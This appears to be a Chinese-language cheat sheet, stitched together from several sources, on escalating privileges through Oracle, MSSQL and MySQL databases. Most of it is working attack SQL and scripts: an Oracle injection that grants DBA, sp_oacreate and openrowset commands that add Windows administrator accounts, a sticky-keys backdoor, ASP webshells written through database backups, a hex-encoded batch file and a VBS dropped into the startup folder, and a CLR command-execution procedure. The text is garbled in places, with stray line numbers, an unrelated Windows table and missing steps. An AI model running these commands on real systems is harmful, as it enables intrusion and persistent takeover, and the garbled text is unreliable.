SYS创建的存储过程存在sql注入。拥有create procedure权限的用户通过创建提权函数,将提权函数注入到存储过程中,于是该存储过程将调用这个提权函数来执行grant dba to quan命令,获得Oracle数据库dba权限。
1.2 利用条件
1、SYS创建的存储过程存在sql注入(EG:CVE-2005-4832)
2、用户拥有create procedure权限(用来创建函数)
1.3 提权步骤
假设有一个用户quan 只有 CONNECT 和 RESOURCE 权限
1.3.1 手工注入
(1)用户登陆后执行select * from session_privs查看权限
(2)创建函数,命令为grant dba to quan
grant execute on pwn to public;//赋予所有用户此函数的执行权限
1 2 3 4 5 6 7 8 9 10
SQL>create or replace function pwn return vaarchar2 authid current_user is pragma autonomous_transaction; begin execute immediate 'grant dba to quan'; return ''; end; /
Copy#SERVER Windows 2008r2 7601 ** link OPENED AS SYSTEM ** Windows 2012r2 9600 ** link OPENED AS SYSTEM ** Windows 2016 14393 ** link OPENED AS SYSTEM ** Windows 2019 17763 link NOT opened Copy#WORKSTATION Windows 7 SP1 7601 ** link OPENED AS SYSTEM ** Windows 8 9200 ** link OPENED AS SYSTEM ** Windows 8.1 9600 ** link OPENED AS SYSTEM ** Windows 10 1511 10240 ** link OPENED AS SYSTEM ** Windows 10 1607 14393 ** link OPENED AS SYSTEM ** Windows 10 1703 15063 link NOT opened Windows 10 1709 16299 link NOT opened
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user quan 123456 /add' declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators quan /add'
其他操作如下:
(1)sp_OACreate替换粘贴键
1 2 3 4 5 6
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe'; declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
declare @o int exec sp_oacreate ‘Shell.Application’, @o out exec sp_oamethod @o, ‘ShellExecute’,null, ‘cmd.exe’,’cmd /c net user >c:\test.txt’,’c:\windows\system32’,’’,’1’; or exec sp_oamethod @o, ‘ShellExecute’,null, ‘user.vbs’,’’,’c:’,’’,’1’;
(3)使用wscript.shell执行命令
1 2 3 4
use master declare @o int exec sp_oacreate 'wscript.shell',@o out exec sp_oamethod @o,'run',null,'cmd /c "net user" > c:\test.tmp'
public提权操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
USE msdb EXEC sp_add_job @job_name = 'GetSystemOnSQL', www.webshell.cc @enabled = 1, @description = 'This will give a low privileged user access to xp_cmdshell', @delete_level = 1
select * from openrowset('microsoft.jet.oledb.4.0' ,';database=c:\windows\system32\ias\ias.mdb' ,'select shell("cmd.exe /c net user quan 121345 /add")')
(4)将quan用户添加至管理员组
1
select * from openrowset('microsoft.jet.oledb.4.0' ,';database=c:\windows\system32\ias\ias.mdb' ,'select shell("cmd.exe /c net localgroup administrators quan /add")')
backup database 库名 to disk = 'c:\quan.bak';//完整备份一次(保存位置可以改) create table cmd (a image); insert into cmd(a) values(<%execute(request("a"))%>);//创建表cmd并插入一句话木马 backup database 库名 to disk='目标位置\hhh.asp' WITH DIFFERENTIAL,FORMAT;//进行差异备份
(2)LOG备份
LOG备份需要先把指定的数据库激活为还原模式,所以需要执行alter database XXX set RECOVERY FUL,而差异备份不需要,所以只有这条语句的就是LOG备份
1 2 3 4
alter database 数据库名称 set RECOVERY FULL; create table cmd (a image); backup log 数据库名称 to disk = 'E:\wwwroot\asp_sqli\hack.asp' with init; insert into cmd (a) values ('<%%25Execute(request("go"))%%25>');
;backup log 数据库名称 to disk = ‘E:\wwwroot\asp_sqli\hack2.asp’ –
0x07 DBA权限下通过备份文件到启动项提权
(1)先测试xp_cmdshell是否可用
1
exec master..xp_cmdshell 'ver'
提示权限拒绝,说明是db_owner权限.
(2)利用xp_dirtree列目录
1
exec master..xp_dirtree 'c:\',1,1
(3)查看启动项
1
exec master..xp_dirtree 'C:\Documents and Settings\Administrator\「开始」菜单\程序\启动',1,1
(4)列数据库
1
SELECT DB_NAME()
(5)利用url或者sql查询器log备份bat或一句话
1 2 3 4 5 6
alter database [northwind] set RECOVERY FULL-- create table cmd (a image)-- backup log [northwind] to disk = 'c:\cmd1' with init-- insert into cmd (a) values (0x130A0D0A404563686F206F66660D0A406364202577696E646972250D0A4064656C20646972202F73202F612073657468632E6578650D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C73657468632E657865202F790D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C646C6C63616368655C73657468632E657865202F790D0A)-- backup log [northwind] to disk = 'C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\start.bat'-- drop table cmd--
(6)再去查看一下启动项就有一个bat了
1
exec master..xp_dirtree 'C:\Documents and Settings\Administrator\「开始」菜单\程序\启动',1,1
0x08利用SQL Server CLR提权
Microsoft SQL Server 现在具备与 Microsoft Windows .NET Framework 的公共语言运行时 (CLR) 组件集成的功能CLR 为托管代码提供服务,例如跨语言集成、代码访问安全性、对象生存期管理以及调试和分析支持。 对于 SQL Server 用户和应用程序开发人员来说CLR 集成意味着您现在可以使用任何 .NET Framework 语言(包括 Microsoft Visual Basic .NET 和 Microsoft Visual C#)编写存储过程、触发器、用户定义类型、用户定义函数(标量函数和表值函数)以及用户定义的聚合函数。 要通过此种方式来执行命令,也有几个前提:
using System; using System.Data; using System.Data.SqlClient; using System.Data.SqlTypes; using Microsoft.SqlServer.Server; using System.Collections.Generic; using System.Text; using System.Threading.Tasks; public partial class StoredProcedures { [Microsoft.SqlServer.Server.SqlProcedure] public static void SqlStoredProcedure1 () { // 在此处放置代码 System.Diagnostics.Process process = new System.Diagnostics.Process(); process.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden; process.StartInfo.FileName = "cmd.exe"; process.StartInfo.Arguments = "/C whoami > c:\\temp\\1.txt"; process.Start(); } }
重启服务器会自动调用导入到“ C:\Documents and Settings\All Users\「开始」菜单\程序\启动”下的VBS脚本,并执行其中的用户添加及提权命令。
0x01 利用条件
两种情况下均可用启动项提权 1、C:\Documents and Settings\All Users\「开始」菜单\程序\启动 目录可读写 直接将 VBS 提权脚本上传到该目录下
2、以root账号登陆MySQL
0x02 提权关键
启动目录下的vbs脚本
0x03 提权步骤
一、上传VBS提权脚本到启动目录
VBS 提权脚本代码如下:
1 2 3 4 5 6 7 8 9
setwsnetwork=CreateObject(“WSCRIPT.NETWORK”) os=”WinNT://”&wsnetwork.ComputerName Set ob=GetObject(os) Setoe=GetObject(os&”/Administrators,group”) Set od=ob.Create(“user”,”quan”) od.SetPassword “123456” od.SetInfo Set of=GetObject(os&“/quan”,user) oe.add os&“/quan”
insert into secist values(“set wshshell=createobject(“”wscript.shell””)”); insert into secist values(“a=wshshell.run(“”cmd.exe /c net user quan 123456 /add“”,0)”); insert into secist values(“b=wshshell.run(“”cmd.exe /c net localgroup administrators quan /add“”,0)”);
4、导出vbs脚本到启动选项
1
select * from secist into dumpfile “C:\Documents and Settings\All Users\「开始」菜单\程序\启动\quan.vbs”;